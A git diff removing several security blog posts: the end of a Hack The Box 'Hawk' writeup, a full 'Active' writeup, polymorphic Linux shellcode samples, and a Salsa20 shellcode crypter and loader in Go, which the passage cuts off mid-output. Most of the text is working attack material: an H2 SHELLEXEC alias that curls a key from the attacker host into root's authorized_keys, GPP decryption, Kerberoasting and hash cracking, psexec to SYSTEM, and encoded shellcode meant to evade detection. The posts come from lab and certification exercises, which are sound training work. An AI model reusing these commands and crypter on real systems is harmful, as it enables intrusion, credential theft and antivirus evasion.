-syslog:x:102:106::/home/syslog:/usr/sbin/nologin
-messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
-_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
-lxd:x:105:65534::/var/lib/lxd/:/bin/false
-uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
-dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
-landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
-pollinate:x:109:1::/var/cache/pollinate:/bin/false
-sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
-tomcat:x:1001:46::/opt/tomat/temp:/sbin/nologin
-mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
-daniel:x:1002:1005::/home/daniel:/usr/bin/python3
-ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
-Debian-snmp:x:113:116::/var/lib/snmp:/bin/false
-```
-
-#### Getting access to user daniel
-
-In `/var/www/html/sites/default/settings.php` we find some credentials:
-
-```
-$databases = array (
- 'default' =>
- array (
- 'default' =>
- array (
- 'database' => 'drupal',
- 'username' => 'drupal',
- 'password' => 'drupal4hawk',
- 'host' => 'localhost',
- 'port' => '',
- 'driver' => 'mysql',
- 'prefix' => '',
- ),
- ),
-);
-```
-
-Password: `drupal4hawk`
-
-We can log in as user daniel with this password:
-
-```
-root@violentunicorn:~# ssh daniel@10.10.10.102
-daniel@10.10.10.102's password:
-
-Last login: Sun Jul 1 13:46:16 2018 from dead:beef:2::1004
-Python 3.6.5 (default, Apr 1 2018, 05:46:30)
-[GCC 7.3.0] on linux
-Type "help", "copyright", "credits" or "license" for more information.
->>>
-```
-
-We can escape this python interactive shell with:
-
-```
->>> import pty
->>> pty.spawn("/bin/bash")
-daniel@hawk:~$ id
-uid=1002(daniel) gid=1005(daniel) groups=1005(daniel)
-```
-
-#### Privesc using H2 database
-
-To access the H2 database remotely, we'll do an SSH reverse tunnel:
-
-```
-daniel@hawk:~$ ssh -R 8082:localhost:8082 root@10.10.14.23
-The authenticity of host '10.10.14.23 (10.10.14.23)' can't be established.
-ECDSA key fingerprint is SHA256:F1UaVc5s2w2++Hm8MXsITptkhljyxkLiczC12e3U2nA.
-Are you sure you want to continue connecting (yes/no)? yes
-Warning: Permanently added '10.10.14.23' (ECDSA) to the list of known hosts.
-root@10.10.14.23's password:
-Linux violentunicorn 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64
-
-The programs included with the Kali GNU/Linux system are free software;
-the exact distribution terms for each program are described in the
-individual files in /usr/share/doc/*/copyright.
-
-Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
-permitted by applicable law.
-Last login: Sat Jul 14 18:49:44 2018 from 10.10.10.102
-```
-
-We can then access the login page.
-
-
-
-We have access to the preferences and we can enable remote access.
-
-
-
-We can't log in with the default URL because the relative path is causing problems.
-
-
-
-
-
-If we change the URL to something else we can write to, we are able to log in.
-
-
-
-
-
-Next, we'll use a shellexec() command to gain RCE on the server:
-
-
-
-
-
-In this case we are dropping our SSH public key in the root `authorized_keys` file:
-
-```
-CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
-
-CALL SHELLEXEC('curl 10.10.14.23/id_rsa.pub -o /root/.ssh/authorized_keys')
-```
-
-We can then log in as root and grab the root flag:
-
-```
-root@violentunicorn:~/.ssh# ssh root@10.10.10.102
-Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-23-generic x86_64)
-
- * Documentation: https://help.ubuntu.com
- * Management: https://landscape.canonical.com
- * Support: https://ubuntu.com/advantage
-
- System information as of Sun Jul 15 00:00:21 UTC 2018
-
- System load: 0.03 Processes: 113
- Usage of /: 54.1% of 9.78GB Users logged in: 1
- Memory usage: 57% IP address for ens33: 10.10.10.102
- Swap usage: 0%
-
- * Meltdown, Spectre and Ubuntu: What are the attack vectors,
- how the fixes work, and everything else you need to know
- - https://ubu.one/u2Know
-
- * Canonical Livepatch is available for installation.
- - Reduce system reboots and improve kernel security. Activate at:
- https://ubuntu.com/livepatch
-
-55 packages can be updated.
-3 updates are security updates.
-
-Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
-
-
-Last login: Sat Jul 14 21:09:40 2018
-root@hawk:~# cat root.txt
-54f3e8
-```
\ No newline at end of file
diff --git a/_posts/2018-12-08-htb-writeup-active.md b/_posts/2018-12-08-htb-writeup-active.md
deleted file mode 100644
index b44fba91fc..0000000000
--- a/_posts/2018-12-08-htb-writeup-active.md
+++ /dev/null
@@ -1,260 +0,0 @@
----
-layout: single
-title: Active - Hack The Box
-date: 2018-12-08
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-active/active.png
-categories:
- - hackthebox
- - infosec
-tags:
- - hackthebox
- - kerberos
- - ad
----
-
-## Windows / 10.10.10.100
-
-
-
-This blog post is a writeup for Active from Hack the Box.
-
-### Summary
-------------------
-- There's a GPP file with user credentials on the replication share of the DC which we can can crack with gpp-decrypt
-- We then grab an encrypted ticket using the Kerberoasting technique and recover the Administrator password
-
-### Tools/Blogs
-- gpp-decrypt
-- [Impacket](https://github.com/CoreSecurity/impacket)
-- [PyKerberoast](https://github.com/skelsec/PyKerberoast)
-
-### Detailed steps
-------------------
-
-### Nmap
-
-This Windows Server is running kerberos on port 88 so it's probably an Active Directory server
-
-```
-root@violentunicorn:~/hackthebox# nmap -F 10.10.10.100
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-28 20:19 EDT
-Nmap scan report for active.htb (10.10.10.100)
-Host is up (0.16s latency).
-Not shown: 89 closed ports
-PORT STATE SERVICE
-53/tcp open domain
-88/tcp open kerberos-sec
-135/tcp open msrpc
-139/tcp open netbios-ssn
-389/tcp open ldap
-445/tcp open microsoft-ds
-49152/tcp open unknown
-49153/tcp open unknown
-49154/tcp open unknown
-49155/tcp open unknown
-49157/tcp open unknown
-
-Nmap done: 1 IP address (1 host up) scanned in 1.83 seconds
-```
-
-### Enumerating the SMB replication sahre
-
-All sorts of interesting ports are open on the server. First, let's check which shares are publicly accessible:
-
-```
-root@violentunicorn:~# enum4linux 10.10.10.100
-
- =========================================
-| Share Enumeration on 10.10.10.100 |
- =========================================
-WARNING: The "syslog" option is deprecated
-
- Sharename Type Comment
- --------- ---- -------
- ADMIN$ Disk Remote Admin
- C$ Disk Default share
- IPC$ IPC Remote IPC
- NETLOGON Disk Logon server share
- Replication Disk
- SYSVOL Disk Logon server share
- Users Disk
-Reconnecting with SMB1 for workgroup listing.
-Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
-Failed to connect with SMB1 -- no workgroup available
-
-[+] Attempting to map shares on 10.10.10.100
-//10.10.10.100/ADMIN$ Mapping: DENIED, Listing: N/A
-//10.10.10.100/C$ Mapping: DENIED, Listing: N/A
-//10.10.10.100/IPC$ Mapping: OK Listing: DENIED
-//10.10.10.100/NETLOGON Mapping: DENIED, Listing: N/A
-//10.10.10.100/Replication Mapping: OK, Listing: OK
-//10.10.10.100/SYSVOL Mapping: DENIED, Listing: N/A
-//10.10.10.100/Users Mapping: DENIED, Listing: N/A
-```
-
-So IPC$ and Replication are open, let's check Replication...
-
-```
-root@violentunicorn:~# smbclient -N -U "" //10.10.10.100/Replication
-WARNING: The "syslog" option is deprecated
-Try "help" to get a list of possible commands.
-smb: \> ls
- . D 0 Sat Jul 21 06:37:44 2018
- .. D 0 Sat Jul 21 06:37:44 2018
- active.htb D 0 Sat Jul 21 06:37:44 2018
-
- 10459647 blocks of size 4096. 6312288 blocks available
-smb: \> cd active.htb
-smb: \active.htb\> ls
- . D 0 Sat Jul 21 06:37:44 2018
- .. D 0 Sat Jul 21 06:37:44 2018
- DfsrPrivate DHS 0 Sat Jul 21 06:37:44 2018
- Policies D 0 Sat Jul 21 06:37:44 2018
- scripts D 0 Wed Jul 18 14:48:57 2018
-
- 10459647 blocks of size 4096. 6312288 blocks available
-smb: \active.htb\> cd Policies
-smb: \active.htb\Policies\> ls
- . D 0 Sat Jul 21 06:37:44 2018
- .. D 0 Sat Jul 21 06:37:44 2018
- {31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Sat Jul 21 06:37:44 2018
- {6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Sat Jul 21 06:37:44 2018
-
- 10459647 blocks of size 4096. 6312288 blocks available
-smb: \active.htb\Policies\> cd {31B2F340-016D-11D2-945F-00C04FB984F9}
-smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> ls
- . D 0 Sat Jul 21 06:37:44 2018
- .. D 0 Sat Jul 21 06:37:44 2018
- GPT.INI A 23 Wed Jul 18 16:46:06 2018
- Group Policy D 0 Sat Jul 21 06:37:44 2018
- MACHINE D 0 Sat Jul 21 06:37:44 2018
- USER D 0 Wed Jul 18 14:49:12 2018
-
- 10459647 blocks of size 4096. 6312288 blocks available
-smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> cd machine
-lsmb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\> ls
- . D 0 Sat Jul 21 06:37:44 2018
- .. D 0 Sat Jul 21 06:37:44 2018
- Microsoft D 0 Sat Jul 21 06:37:44 2018
- Preferences D 0 Sat Jul 21 06:37:44 2018
- Registry.pol A 2788 Wed Jul 18 14:53:45 2018
-
- 10459647 blocks of size 4096. 6312288 blocks available
-smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\> cd preferences
-lsmb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\> ls
- . D 0 Sat Jul 21 06:37:44 2018
- .. D 0 Sat Jul 21 06:37:44 2018
- Groups D 0 Sat Jul 21 06:37:44 2018
-
- 10459647 blocks of size 4096. 6312288 blocks available
-smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\> cd groups
-lssmb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\groups\> ls
- . D 0 Sat Jul 21 06:37:44 2018
- .. D 0 Sat Jul 21 06:37:44 2018
- Groups.xml A 533 Wed Jul 18 16:46:06 2018
-
- 10459647 blocks of size 4096. 6312288 blocks available
-smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\groups\> get groups.xml
-getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\groups\groups.xml of size 533 as groups.xml (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
-smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\machine\preferences\groups\> exit
-```
-
-So we just found Group Policy Preferences in a file, with encrypted credentials.
-
-```
-root@violentunicorn:~# cat groups.xml
-
-
-
-```
-
-Luckily, the encryption key for this has been leaked by Microsoft a few years ago and we can decrypt it using `gpp-decrypt`:
-
-```
-root@violentunicorn:~# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
-/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
-GPPstillStandingStrong2k18
-```
-
-So we now have the following user account's credentials:
- - Username: SVC_TGS
- - Password: GPPstillStandingStrong2k18
-
- We can log in with that account and recover the user flag:
-
-```
-root@violentunicorn:~# smbclient -U svc_tgs //10.10.10.100/Users
-WARNING: The "syslog" option is deprecated
-Enter WORKGROUP\svc_tgs's password:
-Try "help" to get a list of possible commands.
-smb: \> cd svc_tgs
-smb: \svc_tgs\> cd desktop
-smb: \svc_tgs\desktop\> get user.txt
-getting file \svc_tgs\desktop\user.txt of size 34 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
-smb: \svc_tgs\desktop\> exit
-root@violentunicorn:~# cat user.txt
-86d67d
-```
-
-### Kerberoasting
-
-Next, we'll look for Service Principal Names and encrypted service tickets that we can crack to recover other credentials.
-
-We'll use PyKerberoast for this since we are on Kali and not Windows.
-
-```
-root@violentunicorn:~/PyKerberoast# python kerberoastv2.py -a 10.10.10.100 -b cn=users,dc=active,dc=htb -d active -u svc_tgs -p GPPstillStandingStrong2k18
-[+]Starting...
-$krb5tgs$18$*krbtgt$ACTIVE.HTB$spn*$cabf481b2b4dbd9567c5bee15e9d2ec9$04f2407e7fadab18a8f8ebda0e66af92e91c305098340e701383738a9cd317b15024815917af864e679ae02f8b610e18842308a54a9f0a2095ab688a972c5e03903f5d2cbf2d72cc5894ff6fa45413b95a1c94ee8fd1c9e8990c95748ba93a83bc078b3653b678a60fa0eb42cdaccdb3b4e5d5d97925676059c5b3495ce37a1fc964cf7cdeba452811d52a103633ffc5033709c3a2ac0f4f0a6aa06700b2817956c37c2f20e4ef5684b41d3f87e3f7fd80ed51088ef648f874b5fe113b5da0ebe5c7e77d63945ca190bb1dab377f75f6da85cbc261635fefdd42e621ac711c26c87d99b761941330e010fec48fd06219cd1aa7a8e91c9b0f36728ca30e68128db767e2e54c57d185b0700c03e7eb66fa62903971cdca7d481e4d4db09cc22a943ddb8ead77b4a2f2fc5cac6f34a6af8e796b5dd9f2e4310af99271a64af70c2c3aacfb8820b805d8efb3899e7a4d22c5adbf33f970e8fa7ce8ea79ad83a265aa3a4af2464d7cb296333199251a27f2fc189935f87c116e9143accd254ba4fb5d2a6f80af535076afbf8a89bea83941f703d312605d7fadc5d6583c9a86463ddc69165bdb0aabeab30edee51032dc160e3e349eb2f0c465f891015b7a127c9ef47949fdba2c1e2392d0cee6d03f54e5d36e63be681d1d2ad084c0f892b447352039488f21c184d7d0d5d68c0f15197579217ac48d3f1770710e5e0af95140d7394aae11371fd098b9591a1f6de4d4448db180a612917a8b0309e1b1a443d52d40f974e1036406c0aacf46b3be2286408cacd0c55a0e3146e7226cf6ab9c5d1b2af6939eac9c750c652f02925ab0549c3fd56f3655ceb37ec368dc24c034e6030a1b25dac3691e80098547a08b638560f2ffd37dcde83df28152fcbc9a93d9ef11a2e84f5b8efd3c8489983dceb394d22969d9c86b06af4b6633c55d86f61d1feac5dd4c541fa4e405b2b2e5fc41622833a45026dfef1e7a04b0577f2b5229b68e12af85af2cc074c3aae267c1c942cea9bcb21640bd2d0fe75996f93623e5cbaab186b7cedef4c1db1240b5c8cbb486f50bc7fafed38cd40a7605a6511d0cd393c8aa1c0387c7df9bd8c9a3f3af3eb2fe6341a88c6fac220f53725cd574f92c75e1f1a47be01a1a6bbf865fef2a681b981f2a2cf126797b7fcab95315c430f46e6140266d693e41dfb964c5f80e88ebb6c04cbe6299ef0f5cab31e8e75278474633d33251029cf0cdd2c40fe4678581ecdd193b7eac40
-
-[+]Done!
-```
-
-Sweet, we got a ticket for the Administrator user! Let's brute force this bitch now.
-
-### Password cracking
-
-Because this is HTB, the password is in the rockyou.txt file:
-
-```
-root@violentunicorn:~/JohnTheRipper/run# ~/JohnTheRipper/run/john -w=/usr/share/wordlists/rockyou.txt hash.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
-Will run 2 OpenMP threads
-Press 'q' or Ctrl-C to abort, almost any other key for status
-Ticketmaster1968 (?)
-1g 0:00:00:39 DONE (2018-07-28 20:50) 0.02515g/s 265093p/s 265093c/s 265093C/s Tiffani1432..Tiago_18
-Use the "--show" option to display all of the cracked passwords reliably
-Session completed
-```
-
-Ok, nice we now have the Administrator password: `Ticketmaster1968`
-
-### Remote access using psexec
-
-We could just grab the flag using smbclient but we'll try to get a proper shell using psexec:
-
-```
-root@violentunicorn:~# psexec.py administrator:Ticketmaster1968@10.10.10.100
-Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies
-
-[*] Requesting shares on 10.10.10.100.....
-[*] Found writable share ADMIN$
-[*] Uploading file xZMcKohO.exe
-[*] Opening SVCManager on 10.10.10.100.....
-[*] Creating service vTmo on 10.10.10.100.....
-[*] Starting service vTmo.....
-[!] Press help for extra shell commands
-Microsoft Windows [Version 6.1.7600]
-Copyright (c) 2009 Microsoft Corporation. All rights reserved.
-
-C:\Windows\system32>whoami
-nt authority\system
-
-C:\Windows\system32>cd \users\administrator\desktop
-
-C:\Users\Administrator\Desktop>type root.txt
-b5fc76
-```
diff --git a/_posts/2018-12-11-polymorphic-shellcode.md b/_posts/2018-12-11-polymorphic-shellcode.md
deleted file mode 100644
index b217010468..0000000000
--- a/_posts/2018-12-11-polymorphic-shellcode.md
+++ /dev/null
@@ -1,287 +0,0 @@
----
-layout: single
-title: Polymorphic Linux Shellcode
-date: 2018-12-11
-classes: wide
-header:
- teaser: /assets/images/slae32.png
-categories:
- - slae
- - infosec
-tags:
- - slae
- - assembly
- - polymorphic
----
-
-This blog post shows 3 polymorphic variants of common shellcodes found on [shell-storm.org](http://shell-storm.org/shellcode/).
-
-Note that the original shellcode is shown here using Intel syntax.
-
-## Sample 1: Linux/x86 - chmod(/etc/shadow, 0777)
-
-- Original size: 29 bytes
-- Polymorphic size: 41 bytes (41% increase)
-- Source: [http://shell-storm.org/shellcode/files/shellcode-593.php](http://shell-storm.org/shellcode/files/shellcode-593.php)
-
-### Original code:
-
-```nasm
-global _start
-
-section .text
-
-_start:
-
-xor eax,eax
-push eax
-push dword 0x776f6461 ; /etc/shadow
-push dword 0x68732f63
-push dword 0x74652f2f
-mov ebx,esp
-push word 0x1ff
-pop ecx
-mov al,0xf
-int 0x80
-```
-
-### Polymorphic code:
-
-```nasm
-global _start
-
-section .text
-
-_start:
-
-mov ecx, 0x01ff87fd ; XOR key + mode (upper half)
-mov eax, 0x0188e899 ; /etc/shadow (XOR encoded)
-mov ebx, 0x6097f4d2
-mov edx, 0x628be2d2
-xor eax, ecx
-xor ebx, ecx
-xor edx, ecx
-push eax
-push ebx
-push edx
-mov ebx, esp ; const char *pathname
-shr ecx, 16 ; mode_t mode -> 0777
-xor eax, eax
-add eax, 0xf ; sys_chmod
-int 0x80
-```
-
-## Sample 2: Linux/x86 - iptables -F
-
-- Original size: 58 bytes
-- Polymorphic size: 67 bytes (15% increase)
-- Source: [http://shell-storm.org/shellcode/files/shellcode-361.php](http://shell-storm.org/shellcode/files/shellcode-361.php)
-
-### Original code
-
-```nasm
-section .text
-
-global _start
-
-_start:
-
-jmp short callme
-
-main:
-
-pop esi
-xor eax,eax
-mov byte [esi+14],al
-mov byte [esi+17],al
-mov long [esi+18],esi
-lea ebx,[esi+15]
-mov long [esi+22],ebx
-mov long [esi+26],eax
-mov al,0x0b
-mov ebx,esi
-lea ecx,[esi+18]
-lea edx,[esi+26]
-int 0x80
-
-callme:
-
-call main
-db '/sbin/iptables#-F#'
-```
-
-### Polymorphic code
-
-```nasm
-section .text
-
-global _start
-
-_start:
-
-mov eax, 0x2d5a5a46 ; 0x5a462d5a (shifted 16 bits)
-ror eax, 0x10
-push eax
-add eax, 0x191f3f08
-push eax
-sub eax, 0x11f0fbf9
-push eax
-sub eax, 0x32450202
-add eax, 0x2 ; avoid null-byte
-push eax
-add eax, 0x3343c0c6
-push eax
-
-mov esi, esp ; esi -> "//sbin//iptablesZ-FZ"
-mov ebx, esi ; const char *filename
-cdq ; edx = 0
-mov eax, edx ; eax = 0
-mov byte [esi+16], dl ; null out Z byte: //sbin//iptablesZ -> "//sbin//iptables"
-mov byte [esi+19], dl ; null out Z byte: -FZ -> "-F"
-push edx ; null-terminatation for argv
-lea eax, [esi+17] ; char *const argv[1] -> "-F"
-push eax ;
-push esi ; char *const argv[0] -> "//sbin//iptables"
-mov ecx, esp ; char *const argv[] -> "//sbin//iptables", "-F"
-push edx ; NULL byte for envp[]
-mov eax, edx ; eax = 0
-mov edx, esp ; char *const envp[] -> NULL
-add eax, 0xb ; sys_execve
-int 0x80
-```
-
-## Sample 3: Linux/x86 - File Reader /etc/passwd
-
-- Original size: 76 bytes
-- Polymorphic size: 90 bytes (18% increase)
-- Source: [http://shell-storm.org/shellcode/files/shellcode-73.php](http://shell-storm.org/shellcode/files/shellcode-73.php)
-
-### Original code
-
-```nasm
-section .text
-
-global _start
-
-_start:
-
-xor eax, eax
-xor ebx, ebx
-xor ecx, ecx
-xor edx, edx
-jmp two
-
-one:
-
-pop ebx
-mov al, 0x5
-xor ecx, ecx
-int 0x80
-mov esi, eax
-jmp read
-
-exit:
-
-mov al, 0x1
-xor ebx, ebx
-int 0x80
-
-read:
-
-mov ebx, esi
-mov al, 0x3
-sub esp, 0x1
-lea ecx, [esp]
-mov dl, 0x1
-int 0x80
-
-xor ebx, ebx
-cmp ebx, eax
-je exit
-
-mov al, 0x4
-mov bl, 0x1
-mov dl, 0x1
-int 0x80
-
-add esp, 0x1
-jmp short read
-
-two:
-
-call one
-db '/etc/passwd'
-```
-
-### Polymorphic code
-
-```nasm
-section .text
-
-global _start
-
-_start:
-
-push 0xbadacd9c ; //etc/passwd (XOR encoded)
-push 0xbfdd918c
-push 0xaac891c0
-
-xor ecx, ecx
-mov cl, 3
-mov edx, esp
-
-decode:
-
-mov eax, dword [edx]
-xor eax, 0xdeadbeef ; XOR key
-mov dword [edx], eax
-add edx, 0x4
-loop decode
-
-xor eax, eax ; eax = 0
-cdq ; edx = 0
-mov byte [esp+12], al ; null terminate string "//etc/passwd"
-mov al, 0x5 ; sys_open
-mov ebx, esp ; const char *pathname
-xor ecx, ecx ; int flags
-int 0x80
-
-read:
-
-mov ecx, esp ; void *buf
-push eax ; save fd value for next byte read loop
-mov ebx, eax ; int fd
-xor eax, eax ; eax = 0
-mov dl, 0x1 ; size_t count = 1, we're reading a single byte at a time
-mov al, 0x3 ; sys_read
-int 0x80
-
-cdq ; edx = 0
-cmp edx, eax ; check if we have any bytes left to read
-je exit ; if not, exit
-
-mov eax, edx ; eax = 0
-mov ebx, eax ; ebx = 0
-mov al, 0x4 ; sys_write
-mov bl, 0x1 ; int fd = 1 (stdout)
-mov dl, 0x1 ; size_t count = 1, we're writing a single byte at a time
-int 0x80
-
-pop eax ; restore fd value
-jmp read ; loop to next byte
-
-exit:
-
-mov eax, edx ; eax = 0
-inc eax ; eax = 1, sys_exit
-xor ebx, ebx ; ebx = 0, int status
-int 0x80
-```
-
-This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
-
-[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)
-
-Student ID: SLAE-1236
-
-All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32)
\ No newline at end of file
diff --git a/_posts/2018-12-12-custom-crypter.md b/_posts/2018-12-12-custom-crypter.md
deleted file mode 100644
index 8535d38030..0000000000
--- a/_posts/2018-12-12-custom-crypter.md
+++ /dev/null
@@ -1,227 +0,0 @@
----
-layout: single
-title: Creating a custom shellcode crypter
-date: 2018-12-12
-classes: wide
-header:
- teaser: /assets/images/slae32.png
-categories:
- - slae
- - infosec
-tags:
- - slae
- - assembly
- - crypter
- - go
----
-
-For this last SLAE assignment, I've created a custom shellcode crypter using the [Salsa20](https://en.wikipedia.org/wiki/Salsa20) stream cipher. Salsa20 is a family of 256-bit stream ciphers designed in 2005 and submitted to eSTREAM, the ECRYPT Stream Cipher Project.
-
-I wanted to learn the basics of Golang for some time so this was a good opportunity to try a new programming language. The crypter and decrypter are both written in Go and use the offical golang.org sub-repository crypto packages. I also used the [Cgo](https://golang.org/cmd/cgo/) and [unsafe](https://golang.org/pkg/unsafe/) packages so that I could get around the type safety of the Go programming language and call the shellcode once it has been decrypted.
-
-For demonstration purposes, we will use the standard execve shellcode that executes `/bin/sh`:
-
-```
-slemire@slae:~/slae32/examples/Shellcode/Execve$ ../../../compile.sh execve
-[+] Assembling with Nasm ...
-[+] Linking ...
-[+] Shellcode: \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43
-[+] Length: 49
-[+] Done!
-```
-
-## Crypter
-
-The crypter uses the following input:
-- Shellcode
-- 24 bytes nonce (generated randomly)
-- 32 bytes key (generated randomly)
-
-If the resulting encrypted shellcode contains any null-byte, a warning is displayed.
-
-The crypter code is shown below:
-```golang
-package main
-
-import "fmt"
-import "os"
-import "crypto/rand"
-import "golang.org/x/crypto/salsa20"
-
-func main() {
- fmt.Printf("Shellcode code crypter\n")
-
- // execve shellcode /bin/sh
- in := []byte {
- 0xeb, 0x1a, 0x5e, 0x31, 0xdb, 0x88, 0x5e, 0x07,
- 0x89, 0x76, 0x08, 0x89, 0x5e, 0x0c, 0x8d, 0x1e,
- 0x8d, 0x4e, 0x08, 0x8d, 0x56, 0x0c, 0x31, 0xc0,
- 0xb0, 0x0b, 0xcd, 0x80, 0xe8, 0xe1, 0xff, 0xff,
- 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
- 0x41, 0x42, 0x42, 0x42, 0x42, 0x43, 0x43, 0x43,
- 0x43 }
-
- out := make([]byte, len(in))
-
- // Generate a random 24 bytes nonce
- nonce := make([]byte, 24)
- if _, err := rand.Read(nonce); err != nil {
- panic(err)
- }
-
- // Generate a random 32 bytes key
- key_slice := make([]byte, 32)
- if _, err := rand.Read(key_slice); err != nil {
- panic(err)
- }
- var key [32]byte
- copy(key[:], key_slice[:])
-
- fmt.Printf("Key len: %d bytes\n", len(key))
-
- fmt.Printf("Key: ")
- for _, element := range key {
- fmt.Printf("%#x,", element)
- }
- fmt.Printf("\n")
-
- fmt.Printf("Nonce: ")
- for _, element := range nonce {
- fmt.Printf("%#x,", element)
- }
- fmt.Printf("\n")
-
- fmt.Printf("Original shellcode: ")
-
- for _, element := range in {
- fmt.Printf("%#x,", element)
- }
- fmt.Printf("\n")
- salsa20.XORKeyStream(out, in, nonce, &key)
-
- fmt.Printf("Encrypted shellcode: ")
- for _, element := range out {
- fmt.Printf("%#x,", element)
- }
- fmt.Printf("\n")
-
- for _, element := range out {
- if element == 0 {
- fmt.Printf("##########################\n")
- fmt.Printf("WARNING null byte detected\n")
- fmt.Printf("##########################\n")
- os.Exit(1)
- }
- }
-}
-```
-
-## Decrypter
-
-To decrypt the shellcode, the same `salsa20.XORKeyStream` function is called using the original nonce and key.
-
-The decrypter code is shown below:
-```golang
-package main
-
-/*
-void call_shellcode(char *code) {
- int (*ret)() = (int(*)())code;
- ret();
-}
-*/
-import "C"
-import "fmt"
-import "unsafe"
-import "golang.org/x/crypto/salsa20"
-
-func main() {
- fmt.Printf("Shellcode code decrypter\n")
-
- // Paste encrypted shellcode here
- in := []byte { 0x79,0x46,0x15,0x27,0xa6,0xdb,0xbc,0x5,0x84,0x97,0x83,0x7c,0x4f,0xed,0x81,0xd,0xf,0x93,0x8e,0x7c,0xd3,0xa5,0x74,0x99,0xaa,0xcd,0xbe,0xd0,0x49,0x54,0xce,0x9d,0xe7,0x4a,0x64,0x95,0xc3,0x83,0xb8,0x58,0x4a,0xe4,0x87,0x49,0xb3,0x6e,0x6a,0x32,0x76 }
-
- out := make([]byte, len(in))
-
- // Paste nonce here
- nonce := []byte { 0xc6,0x2f,0xb2,0xd1,0x94,0x7b,0x47,0xa6,0x51,0x5d,0x57,0xfb,0x8a,0x2c,0x3e,0x7f,0x43,0x5a,0xfc,0xbb,0x24,0x4d,0xc7,0xbc }
-
- // Paste key here
- key := [32]byte { 0x24,0x90,0xef,0x80,0x66,0xee,0xda,0x52,0xfa,0xb9,0x8,0x37,0x3f,0x8e,0x1c,0x3b,0x0,0xec,0x7,0x19,0x5a,0x1f,0x94,0xe7,0x2e,0xdf,0xee,0x8d,0x9,0x63,0xe4,0xb5 }
-
- salsa20.XORKeyStream(out, in, nonce, &key)
-
- fmt.Printf("Decrypted shellcode: ")
- for _, element := range out {
- fmt.Printf("%#x,", element)
- }
- fmt.Printf("\n")
- fmt.Printf("Shellcode length: %d\n", len(out))
- fmt.Printf("Executing shellcode...\n")
- C.call_shellcode((*C.char)(unsafe.Pointer(&out[0])))
-}
-```
-
-## Using the crypter
-
-To compile the crypter and test it, we execute the command `go build -o crypter crypter.go && ./crypter`
-
-```
-slemire@slae:~/slae32/assignment7$ go build -o crypter crypter.go && ./crypter
-Shellcode code crypter
-Key len: 32 bytes
-Key: 0x24,0x90,0xef,0x80,0x66,0xee,0xda,0x52,0xfa,0xb9,0x8,0x37,0x3f,0x8e,0x1c,0x3b,0x0,0xec,0x7,0x19,0x5a,0x1f,0x94,0xe7,0x2e,0xdf,0xee,0x8d,0x9,0x63,0xe4,0xb5,
-Nonce: 0xc6,0x2f,0xb2,0xd1,0x94,0x7b,0x47,0xa6,0x51,0x5d,0x57,0xfb,0x8a,0x2c,0x3e,0x7f,0x43,0x5a,0xfc,0xbb,0x24,0x4d,0xc7,0xbc,
-Original shellcode: 0xeb,0x1a,0x5e,0x31,0xdb,0x88,0x5e,0x7,0x89,0x76,0x8,0x89,0x5e,0xc,0x8d,0x1e,0x8d,0x4e,0x8,0x8d,0x56,0xc,0x31,0xc0,0xb0,0xb,0xcd,0x80,0xe8,0xe1,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x41,0x42,0x42,0x42,0x42,0x43,0x43,0x43,0x43,
